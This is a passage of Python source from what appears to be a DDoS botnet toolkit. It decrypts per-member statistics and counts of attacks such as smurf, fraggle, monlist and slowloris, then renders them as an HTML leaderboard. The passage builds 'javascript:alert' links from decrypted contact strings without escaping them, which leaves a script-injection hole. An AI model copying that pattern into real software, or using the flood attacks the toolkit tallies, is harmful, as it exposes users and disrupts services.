  6265. grid_ranking = nodec_text
  6266. else:
  6267. grid_ranking = nodec_text
  6268. self.decryptedtext = "" # clean decryptedtext buffer
  6269. if grid_ranking == 1: #Rookie
  6270. grid_ranking = "<font color='white' size='4'>*</font>"
  6271. member_1 = member_1 + 1
  6272. elif grid_ranking == 2: # Mercenary
  6273. grid_ranking = "<font color='cyan' size='4'>**</font>"
  6274. member_2 = member_2 + 1
  6275. elif grid_ranking == 3: # Bandit
  6276. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  6277. member_3 = member_3 + 1
  6278. elif grid_ranking == 4: # UFOmmander!
  6279. grid_ranking = "<font color='blue' size='4'>****</font>"
  6280. member_4 = member_4 + 1
  6281. elif grid_ranking == 5: # UFOl33t!
  6282. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  6283. member_5 = member_5 + 1
  6284. else:
  6285. grid_ranking = nodec_text
  6286. grid_totalchargo = m[2] # total chargo
  6287. self.decrypt(grid_key, grid_totalchargo)
  6288. if self.decryptedtext:
  6289. grid_totalchargo = self.decryptedtext
  6290. else:
  6291. grid_totalchargo = nodec_text
  6292. self.decryptedtext = "" # clean decryptedtext buffer
  6293. try: # parse for int
  6294. grid_totalchargo = int(grid_totalchargo)
  6295. mothership_chargo = mothership_chargo + grid_totalchargo
  6296. except:
  6297. grid_totalchargo = nodec_text
  6298. grid_dorking = m[3] # dorking
  6299. self.decrypt(grid_key, grid_dorking)
  6300. if self.decryptedtext:
  6301. grid_dorking = self.decryptedtext
  6302. else:
  6303. grid_dorking = nodec_text
  6304. self.decryptedtext = "" # clean decryptedtext buffer
  6305. try: # parse for int
  6306. grid_dorking = int(grid_dorking)
  6307. mothership_dorking = mothership_dorking + grid_dorking
  6308. except:
  6309. grid_dorking = nodec_text
  6310. grid_transferred = m[4] # transferred
  6311. self.decrypt(grid_key, grid_transferred)
  6312. if self.decryptedtext:
  6313. grid_transferred = self.decryptedtext
  6314. else:
  6315. grid_transferred = nodec_text
  6316. self.decryptedtext = "" # clean decryptedtext buffer
  6317. try: # parse for int
  6318. grid_transferred = int(grid_transferred)
  6319. mothership_transferred = mothership_transferred + grid_transferred
  6320. except:
  6321. grid_transferred = nodec_text
  6322. grid_maxchargo = m[5] # maxchargo
  6323. self.decrypt(grid_key, grid_maxchargo)
  6324. if self.decryptedtext:
  6325. grid_maxchargo = self.decryptedtext
  6326. else:
  6327. grid_maxchargo = nodec_text
  6328. self.decryptedtext = "" # clean decryptedtext buffer
  6329. try: # parse for int
  6330. grid_maxchargo = int(grid_maxchargo)
  6331. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  6332. except:
  6333. grid_maxchargo = nodec_text
  6334. grid_missions = m[6] # missions
  6335. self.decrypt(grid_key, grid_missions)
  6336. if self.decryptedtext:
  6337. grid_missions = self.decryptedtext
  6338. else:
  6339. grid_missions = nodec_text
  6340. self.decryptedtext = "" # clean decryptedtext buffer
  6341. try: # parse for int
  6342. grid_missions = int(grid_missions)
  6343. mothership_missions = mothership_missions + grid_missions
  6344. except:
  6345. grid_missions = nodec_text
  6346. grid_attacks = m[7] # attacks
  6347. self.decrypt(grid_key, grid_attacks)
  6348. if self.decryptedtext:
  6349. grid_attacks = self.decryptedtext
  6350. else:
  6351. grid_attacks = nodec_text
  6352. self.decryptedtext = "" # clean decryptedtext buffer
  6353. try: # parse for int
  6354. grid_attacks = int(grid_attacks)
  6355. mothership_attacks = mothership_attacks + grid_attacks
  6356. except:
  6357. grid_attacks = nodec_text
  6358. grid_loic = m[8] # loic
  6359. self.decrypt(grid_key, grid_loic)
  6360. if self.decryptedtext:
  6361. grid_loic = self.decryptedtext
  6362. else:
  6363. grid_loic = nodec_text
  6364. self.decryptedtext = "" # clean decryptedtext buffer
  6365. try: # parse for int
  6366. grid_loic = int(grid_loic)
  6367. mothership_loic = mothership_loic + grid_loic
  6368. except:
  6369. grid_loic = nodec_text
  6370. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  6371. grid_loris = m[9] # loris
  6372. self.decrypt(grid_key, grid_loris)
  6373. if self.decryptedtext:
  6374. grid_loris = self.decryptedtext
  6375. else:
  6376. grid_loris = nodec_text
  6377. self.decryptedtext = "" # clean decryptedtext buffer
  6378. try: # parse for int
  6379. grid_loris = int(grid_loris)
  6380. mothership_loris = mothership_loris + grid_loris
  6381. except:
  6382. grid_loris = nodec_text
  6383. else:
  6384. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  6385. self.decrypt(grid_key, grid_loris)
  6386. if self.decryptedtext:
  6387. grid_loris = self.decryptedtext
  6388. else:
  6389. grid_loris = nodec_text
  6390. self.decryptedtext = "" # clean decryptedtext buffer
  6391. try: # parse for int
  6392. grid_loris = int(grid_loris)
  6393. mothership_loris = mothership_loris + grid_loris
  6394. except:
  6395. grid_loris = nodec_text
  6396. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  6397. grid_ufosyn = m[10] # ufosyn
  6398. self.decrypt(grid_key, grid_ufosyn)
  6399. if self.decryptedtext:
  6400. grid_ufosyn = self.decryptedtext
  6401. else:
  6402. grid_ufosyn = nodec_text
  6403. self.decryptedtext = "" # clean decryptedtext buffer
  6404. try: # parse for int
  6405. grid_ufosyn = int(grid_ufosyn)
  6406. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6407. except:
  6408. grid_ufosyn = nodec_text
  6409. else:
  6410. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  6411. self.decrypt(grid_key, grid_ufosyn)
  6412. if self.decryptedtext:
  6413. grid_ufosyn = self.decryptedtext
  6414. else:
  6415. grid_ufosyn = nodec_text
  6416. self.decryptedtext = "" # clean decryptedtext buffer
  6417. try: # parse for int
  6418. grid_ufosyn = int(grid_ufosyn)
  6419. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6420. except:
  6421. grid_ufosyn = nodec_text
  6422. if version > 17 or version == 17 or version == 16 or version == 15:
  6423. grid_spray = m[11] # spray
  6424. self.decrypt(grid_key, grid_spray)
  6425. if self.decryptedtext:
  6426. grid_spray = self.decryptedtext
  6427. else:
  6428. grid_spray = nodec_text
  6429. self.decryptedtext = "" # clean decryptedtext buffer
  6430. try: # parse for int
  6431. grid_spray = int(grid_spray)
  6432. mothership_spray = mothership_spray + grid_spray
  6433. except:
  6434. grid_spray = nodec_text
  6435. else:
  6436. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  6437. self.decrypt(grid_key, grid_spray)
  6438. if self.decryptedtext:
  6439. grid_spray = self.decryptedtext
  6440. else:
  6441. grid_spray = nodec_text
  6442. self.decryptedtext = "" # clean decryptedtext buffer
  6443. try: # parse for int
  6444. grid_spray = int(grid_spray)
  6445. mothership_spray = mothership_spray + grid_spray
  6446. except:
  6447. grid_spray = nodec_text
  6448. if version > 17 or version == 17 or version == 16 or version == 15:
  6449. grid_smurf = m[12] # smurf
  6450. self.decrypt(grid_key, grid_smurf)
  6451. if self.decryptedtext:
  6452. grid_smurf = self.decryptedtext
  6453. else:
  6454. grid_smurf = nodec_text
  6455. self.decryptedtext = "" # clean decryptedtext buffer
  6456. try: # parse for int
  6457. grid_smurf = int(grid_smurf)
  6458. mothership_smurf = mothership_smurf + grid_smurf
  6459. except:
  6460. grid_smurf = nodec_text
  6461. else:
  6462. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  6463. self.decrypt(grid_key, grid_smurf)
  6464. if self.decryptedtext:
  6465. grid_smurf = self.decryptedtext
  6466. else:
  6467. grid_smurf = nodec_text
  6468. self.decryptedtext = "" # clean decryptedtext buffer
  6469. try: # parse for int
  6470. grid_smurf = int(grid_smurf)
  6471. mothership_smurf = mothership_smurf + grid_smurf
  6472. except:
  6473. grid_smurf = nodec_text
  6474. if version > 17 or version == 17 or version == 16 or version == 15:
  6475. grid_xmas = m[13] # xmas
  6476. self.decrypt(grid_key, grid_xmas)
  6477. if self.decryptedtext:
  6478. grid_xmas = self.decryptedtext
  6479. else:
  6480. grid_xmas = nodec_text
  6481. self.decryptedtext = "" # clean decryptedtext buffer
  6482. try: # parse for int
  6483. grid_xmas = int(grid_xmas)
  6484. mothership_xmas = mothership_xmas + grid_xmas
  6485. except:
  6486. grid_xmas = nodec_text
  6487. else:
  6488. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  6489. self.decrypt(grid_key, grid_xmas)
  6490. if self.decryptedtext:
  6491. grid_xmas = self.decryptedtext
  6492. else:
  6493. grid_xmas = nodec_text
  6494. self.decryptedtext = "" # clean decryptedtext buffer
  6495. try: # parse for int
  6496. grid_xmas = int(grid_xmas)
  6497. mothership_xmas = mothership_xmas + grid_xmas
  6498. except:
  6499. grid_xmas = nodec_text
  6500. if version > 17 or version == 17 or version == 16:
  6501. grid_nuke = m[14] # nuke
  6502. self.decrypt(grid_key, grid_nuke)
  6503. if self.decryptedtext:
  6504. grid_nuke = self.decryptedtext
  6505. else:
  6506. grid_nuke = nodec_text
  6507. self.decryptedtext = "" # clean decryptedtext buffer
  6508. try: # parse for int
  6509. grid_nuke = int(grid_nuke)
  6510. mothership_nuke = mothership_nuke + grid_nuke
  6511. except:
  6512. grid_nuke = nodec_text
  6513. else:
  6514. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  6515. self.decrypt(grid_key, grid_nuke)
  6516. if self.decryptedtext:
  6517. grid_nuke = self.decryptedtext
  6518. else:
  6519. grid_nuke = nodec_text
  6520. self.decryptedtext = "" # clean decryptedtext buffer
  6521. try: # parse for int
  6522. grid_nuke = int(grid_nuke)
  6523. mothership_nuke = mothership_nuke + grid_nuke
  6524. except:
  6525. grid_nuke = nodec_text
  6526. if version > 17 or version == 17:
  6527. grid_tachyon = m[15] # tachyon
  6528. self.decrypt(grid_key, grid_tachyon)
  6529. if self.decryptedtext:
  6530. grid_tachyon = self.decryptedtext
  6531. else:
  6532. grid_tachyon = nodec_text
  6533. self.decryptedtext = "" # clean decryptedtext buffer
  6534. try: # parse for int
  6535. grid_tachyon = int(grid_tachyon)
  6536. mothership_tachyon = mothership_tachyon + grid_tachyon
  6537. except:
  6538. grid_tachyon = nodec_text
  6539. else:
  6540. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  6541. self.decrypt(grid_key, grid_tachyon)
  6542. if self.decryptedtext:
  6543. grid_tachyon = self.decryptedtext
  6544. else:
  6545. grid_tachyon = nodec_text
  6546. self.decryptedtext = "" # clean decryptedtext buffer
  6547. try: # parse for int
  6548. grid_tachyon = int(grid_tachyon)
  6549. mothership_tachyon = mothership_tachyon + grid_tachyon
  6550. except:
  6551. grid_tachyon = nodec_text
  6552. if version > 17:
  6553. grid_monlist = m[16] # monlist
  6554. self.decrypt(grid_key, grid_monlist)
  6555. if self.decryptedtext:
  6556. grid_monlist = self.decryptedtext
  6557. else:
  6558. grid_monlist = nodec_text
  6559. self.decryptedtext = "" # clean decryptedtext buffer
  6560. try: # parse for int
  6561. grid_monlist = int(grid_monlist)
  6562. mothership_monlist = mothership_monlist + grid_monlist
  6563. except:
  6564. grid_monlist = nodec_text
  6565. grid_fraggle = m[17] # fraggle
  6566. self.decrypt(grid_key, grid_fraggle)
  6567. if self.decryptedtext:
  6568. grid_fraggle = self.decryptedtext
  6569. else:
  6570. grid_fraggle = nodec_text
  6571. self.decryptedtext = "" # clean decryptedtext buffer
  6572. try: # parse for int
  6573. grid_fraggle = int(grid_fraggle)
  6574. mothership_fraggle = mothership_fraggle + grid_fraggle
  6575. except:
  6576. grid_fraggle = nodec_text
  6577. grid_sniper = m[18] # sniper
  6578. self.decrypt(grid_key, grid_sniper)
  6579. if self.decryptedtext:
  6580. grid_sniper = self.decryptedtext
  6581. else:
  6582. grid_sniper = nodec_text
  6583. self.decryptedtext = "" # clean decryptedtext buffer
  6584. try: # parse for int
  6585. grid_sniper = int(grid_sniper)
  6586. mothership_sniper = mothership_sniper + grid_sniper
  6587. except:
  6588. grid_sniper = nodec_text
  6589. grid_ufoack = m[19] # ufoack
  6590. self.decrypt(grid_key, grid_ufoack)
  6591. if self.decryptedtext:
  6592. grid_ufoack = self.decryptedtext
  6593. else:
  6594. grid_ufoack = nodec_text
  6595. self.decryptedtext = "" # clean decryptedtext buffer
  6596. try: # parse for int
  6597. grid_ufoack = int(grid_ufoack)
  6598. mothership_ufoack = mothership_ufoack + grid_ufoack
  6599. except:
  6600. grid_ufoack = nodec_text
  6601. grid_uforst = m[20] # uforst
  6602. self.decrypt(grid_key, grid_uforst)
  6603. if self.decryptedtext:
  6604. grid_uforst = self.decryptedtext
  6605. else:
  6606. grid_uforst = nodec_text
  6607. self.decryptedtext = "" # clean decryptedtext buffer
  6608. try: # parse for int
  6609. grid_uforst = int(grid_uforst)
  6610. mothership_uforst = mothership_uforst + grid_uforst
  6611. except:
  6612. grid_uforst = nodec_text
  6613. grid_droper = m[21] # droper
  6614. self.decrypt(grid_key, grid_droper)
  6615. if self.decryptedtext:
  6616. grid_droper = self.decryptedtext
  6617. else:
  6618. grid_droper = nodec_text
  6619. self.decryptedtext = "" # clean decryptedtext buffer
  6620. try: # parse for int
  6621. grid_droper = int(grid_droper)
  6622. mothership_droper = mothership_droper + grid_droper
  6623. except:
  6624. grid_droper = nodec_text
  6625. grid_overlap = m[22] # overlap
  6626. self.decrypt(grid_key, grid_overlap)
  6627. if self.decryptedtext:
  6628. grid_overlap = self.decryptedtext
  6629. else:
  6630. grid_overlap = nodec_text
  6631. self.decryptedtext = "" # clean decryptedtext buffer
  6632. try: # parse for int
  6633. grid_overlap = int(grid_overlap)
  6634. mothership_overlap = mothership_overlap + grid_overlap
  6635. except:
  6636. grid_overlap = nodec_text
  6637. grid_pinger = m[23] # pinger
  6638. self.decrypt(grid_key, grid_pinger)
  6639. if self.decryptedtext:
  6640. grid_pinger = self.decryptedtext
  6641. else:
  6642. grid_pinger = nodec_text
  6643. self.decryptedtext = "" # clean decryptedtext buffer
  6644. try: # parse for int
  6645. grid_pinger = int(grid_pinger)
  6646. mothership_pinger = mothership_pinger + grid_pinger
  6647. except:
  6648. grid_pinger = nodec_text
  6649. grid_ufoudp = m[24] # ufoudp
  6650. self.decrypt(grid_key, grid_ufoudp)
  6651. if self.decryptedtext:
  6652. grid_ufoudp = self.decryptedtext
  6653. else:
  6654. grid_ufoudp = nodec_text
  6655. self.decryptedtext = "" # clean decryptedtext buffer
  6656. try: # parse for int
  6657. grid_ufoudp = int(grid_ufoudp)
  6658. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  6659. except:
  6660. grid_ufoudp = nodec_text
  6661. else:
  6662. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  6663. self.decrypt(grid_key, grid_monlist)
  6664. if self.decryptedtext:
  6665. grid_monlist = self.decryptedtext
  6666. else:
  6667. grid_monlist = nodec_text
  6668. self.decryptedtext = "" # clean decryptedtext buffer
  6669. try: # parse for int
  6670. grid_monlist = int(grid_monlist)
  6671. mothership_monlist = mothership_monlist + grid_monlist
  6672. except:
  6673. grid_monlist = nodec_text
  6674. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  6675. self.decrypt(grid_key, grid_fraggle)
  6676. if self.decryptedtext:
  6677. grid_fraggle = self.decryptedtext
  6678. else:
  6679. grid_fraggle = nodec_text
  6680. self.decryptedtext = "" # clean decryptedtext buffer
  6681. try: # parse for int
  6682. grid_fraggle = int(grid_fraggle)
  6683. mothership_fraggle = mothership_fraggle + grid_fraggle
  6684. except:
  6685. grid_fraggle = nodec_text
  6686. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  6687. self.decrypt(grid_key, grid_sniper)
  6688. if self.decryptedtext:
  6689. grid_sniper = self.decryptedtext
  6690. else:
  6691. grid_sniper = nodec_text
  6692. self.decryptedtext = "" # clean decryptedtext buffer
  6693. try: # parse for int
  6694. grid_sniper = int(grid_sniper)
  6695. mothership_sniper = mothership_sniper + grid_sniper
  6696. except:
  6697. grid_sniper = nodec_text
  6698. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  6699. self.decrypt(grid_key, grid_ufoack)
  6700. if self.decryptedtext:
  6701. grid_ufoack = self.decryptedtext
  6702. else:
  6703. grid_ufoack = nodec_text
  6704. self.decryptedtext = "" # clean decryptedtext buffer
  6705. try: # parse for int
  6706. grid_ufoack = int(grid_ufoack)
  6707. mothership_ufoack = mothership_ufoack + grid_ufoack
  6708. except:
  6709. grid_ufoack = nodec_text
  6710. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  6711. self.decrypt(grid_key, grid_uforst)
  6712. if self.decryptedtext:
  6713. grid_uforst = self.decryptedtext
  6714. else:
  6715. grid_uforst = nodec_text
  6716. self.decryptedtext = "" # clean decryptedtext buffer
  6717. try: # parse for int
  6718. grid_uforst = int(grid_uforst)
  6719. mothership_uforst = mothership_uforst + grid_uforst
  6720. except:
  6721. grid_uforst = nodec_text
  6722. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  6723. self.decrypt(grid_key, grid_droper)
  6724. if self.decryptedtext:
  6725. grid_droper = self.decryptedtext
  6726. else:
  6727. grid_droper = nodec_text
  6728. self.decryptedtext = "" # clean decryptedtext buffer
  6729. try: # parse for int
  6730. grid_droper = int(grid_droper)
  6731. mothership_droper = mothership_droper + grid_droper
  6732. except:
  6733. grid_droper = nodec_text
  6734. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  6735. self.decrypt(grid_key, grid_overlap)
  6736. if self.decryptedtext:
  6737. grid_overlap = self.decryptedtext
  6738. else:
  6739. grid_overlap = nodec_text
  6740. self.decryptedtext = "" # clean decryptedtext buffer
  6741. try: # parse for int
  6742. grid_overlap = int(grid_overlap)
  6743. mothership_overlap = mothership_overlap + grid_overlap
  6744. except:
  6745. grid_overlap = nodec_text
  6746. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  6747. self.decrypt(grid_key, grid_pinger)
  6748. if self.decryptedtext:
  6749. grid_pinger = self.decryptedtext
  6750. else:
  6751. grid_pinger = nodec_text
  6752. self.decryptedtext = "" # clean decryptedtext buffer
  6753. try: # parse for int
  6754. grid_pinger = int(grid_pinger)
  6755. mothership_pinger = mothership_pinger + grid_pinger
  6756. except:
  6757. grid_pinger = nodec_text
  6758. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  6759. self.decrypt(grid_key, grid_ufoudp)
  6760. if self.decryptedtext:
  6761. grid_ufoudp = self.decryptedtext
  6762. else:
  6763. grid_ufoudp = nodec_text
  6764. self.decryptedtext = "" # clean decryptedtext buffer
  6765. try: # parse for int
  6766. grid_ufoudp = int(grid_ufoudp)
  6767. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  6768. except:
  6769. grid_ufoudp = nodec_text
  6770. if version == 26:
  6771. grid_contact = m[25] # contact
  6772. self.decrypt(grid_key, grid_contact)
  6773. if self.decryptedtext:
  6774. grid_contact = self.decryptedtext
  6775. else:
  6776. grid_contact = nodec_text
  6777. self.decryptedtext = "" # clean decryptedtext buffer
  6778. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
  6779. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6780. else:
  6781. try:
  6782. if " " in grid_contact: # m[25] = grid_contact
  6783. grid_contact = grid_contact.replace(" ","")
  6784. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6785. except:
  6786. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6787. try:
  6788. grid_id = m[26] # id
  6789. except:
  6790. grid_id = '6666666666666666666666666666666666666' # fake id
  6791. elif version == 17:
  6792. grid_contact = m[16] # contact
  6793. self.decrypt(grid_key, grid_contact)
  6794. if self.decryptedtext:
  6795. grid_contact = self.decryptedtext
  6796. else:
  6797. grid_contact = nodec_text
  6798. self.decryptedtext = "" # clean decryptedtext buffer
  6799. grid_contact = str(grid_contact) # contact
  6800. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  6801. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6802. else:
  6803. try:
  6804. if " " in grid_contact: # m[16] = grid_contact
  6805. grid_contact = grid_contact.replace(" ","")
  6806. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6807. except:
  6808. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6809. try:
  6810. grid_id = m[17] # id
  6811. except:
  6812. grid_id = '6666666666666666666666666666666666666' # fake id
  6813. elif version == 16:
  6814. grid_contact = m[15] # contact
  6815. self.decrypt(grid_key, grid_contact)
  6816. if self.decryptedtext:
  6817. grid_contact = self.decryptedtext
  6818. else:
  6819. grid_contact = nodec_text
  6820. self.decryptedtext = "" # clean decryptedtext buffer
  6821. grid_contact = str(grid_contact) # contact
  6822. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  6823. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6824. else:
  6825. try:
  6826. if " " in grid_contact: # m[15] = grid_contact
  6827. grid_contact = grid_contact.replace(" ","")
  6828. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6829. except:
  6830. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6831. try:
  6832. grid_id = m[16] # id
  6833. except:
  6834. grid_id = '6666666666666666666666666666666666666' # fake id
  6835. elif version == 15:
  6836. grid_contact = m[14] # contact
  6837. self.decrypt(grid_key, grid_contact)
  6838. if self.decryptedtext:
  6839. grid_contact = self.decryptedtext
  6840. else:
  6841. grid_contact = nodec_text
  6842. self.decryptedtext = "" # clean decryptedtext buffer
  6843. grid_contact = str(grid_contact) # contact
  6844. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  6845. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6846. else:
  6847. try:
  6848. if " " in grid_contact: # m[14] = grid_contact
  6849. grid_contact = grid_contact.replace(" ","")
  6850. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6851. except:
  6852. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6853. try:
  6854. grid_id = m[15] # id
  6855. except:
  6856. grid_id = '6666666666666666666666666666666666666' # fake id
  6857. elif version == 12:
  6858. grid_contact = m[11] # contact
  6859. self.decrypt(grid_key, grid_contact)
  6860. if self.decryptedtext:
  6861. grid_contact = self.decryptedtext
  6862. else:
  6863. grid_contact = nodec_text
  6864. self.decryptedtext = "" # clean decryptedtext buffer
  6865. grid_contact = str(grid_contact) # contact
  6866. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  6867. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6868. else:
  6869. try:
  6870. if " " in grid_contact: # m[11] = grid_contact
  6871. grid_contact = grid_contact.replace(" ","")
  6872. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6873. except:
  6874. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6875. try:
  6876. grid_id = m[12] # id
  6877. except:
  6878. grid_id = '6666666666666666666666666666666666666' # fake id
  6879. elif version == 11:
  6880. grid_contact = m[10] # contact
  6881. self.decrypt(grid_key, grid_contact)
  6882. if self.decryptedtext:
  6883. grid_contact = self.decryptedtext
  6884. else:
  6885. grid_contact = nodec_text
  6886. self.decryptedtext = "" # clean decryptedtext buffer
  6887. grid_contact = str(grid_contact) # contact
  6888. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  6889. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6890. else:
  6891. try:
  6892. if " " in grid_contact: # m[10] = grid_contact
  6893. grid_contact = grid_contact.replace(" ","")
  6894. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6895. except:
  6896. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6897. try:
  6898. grid_id = m[11] # id
  6899. except:
  6900. grid_id = '6666666666666666666666666666666666666' # fake id
  6901. elif version == 10:
  6902. grid_contact = m[9] # contact
  6903. self.decrypt(grid_key, grid_contact)
  6904. if self.decryptedtext:
  6905. grid_contact = self.decryptedtext
  6906. else:
  6907. grid_contact = nodec_text
  6908. self.decryptedtext = "" # clean decryptedtext buffer
  6909. grid_contact = str(grid_contact) # contact
  6910. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  6911. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6912. else:
  6913. try:
  6914. if " " in grid_contact: # m[9] = grid_contact
  6915. grid_contact = grid_contact.replace(" ","")
  6916. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  6917. except:
  6918. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6919. try:
  6920. grid_id = m[10] # id
  6921. except:
  6922. grid_id = '6666666666666666666666666666666666666' # fake id
  6923. else:
  6924. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  6925. grid_id = '6666666666666666666666666666666666666' # fake id
  6926. try: # parsing for valid stream struct
  6927. grid_ranking = str(grid_ranking)
  6928. if grid_ranking == nodec_text: # hide any data when user is encrypted
  6929. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  6930. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  6931. else:
  6932. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  6933. except:
